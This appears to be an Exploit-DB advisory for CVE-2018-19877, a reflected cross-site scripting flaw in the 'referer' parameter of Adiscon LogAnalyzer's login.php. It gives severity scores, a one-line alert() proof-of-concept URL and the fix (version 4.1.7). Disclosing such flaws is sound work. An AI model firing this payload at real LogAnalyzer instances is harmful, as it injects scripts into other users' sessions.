Adiscon LogAnalyzer < 4.1.7 - Cross-Site Scripting

2018-12-0900:00:00

Gustavo Sorondo

www.exploit-db.com

131

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

AI Score

6.3

Confidence

High

EPSS

0.002

Percentile

58.6%

JSON

# Exploit Title: Adiscon LogAnalyzer 4.1.7 - Cross-Site Scripting
# Date: 2018-12-05
# Software Link: *httpås://loganalyzer.adiscon.com/
# <https://loganalyzer.adiscon.com/> https://github.com/rsyslog/loganalyzer
# <https://github.com/rsyslog/loganalyzer>*
# Exploit Author: Gustavo Sorondo
# Contact: http://twitter.com/iampuky
# Website: http://cintainfinita.com/
# CVE: CVE-2018-19877
# Category: webapps

# 1. Description
# Adiscon LogAnalyzer  before 4.1.7 is affected by Cross-Site Scripting (XSS)
# in the 'referer' parameter of the login.php file.

# 2. Proof of Concept

http://my.loganalyzer.instance/login.php?referer=%22%3E%3Cscript%3Ealert('Cinta%20Infinita')%3C/script%3E

# 3. Solution:
# Update to version 4.1.7.
# https://loganalyzer.adiscon.com/news/loganalyzer-v4-1-7-v4-stable-released/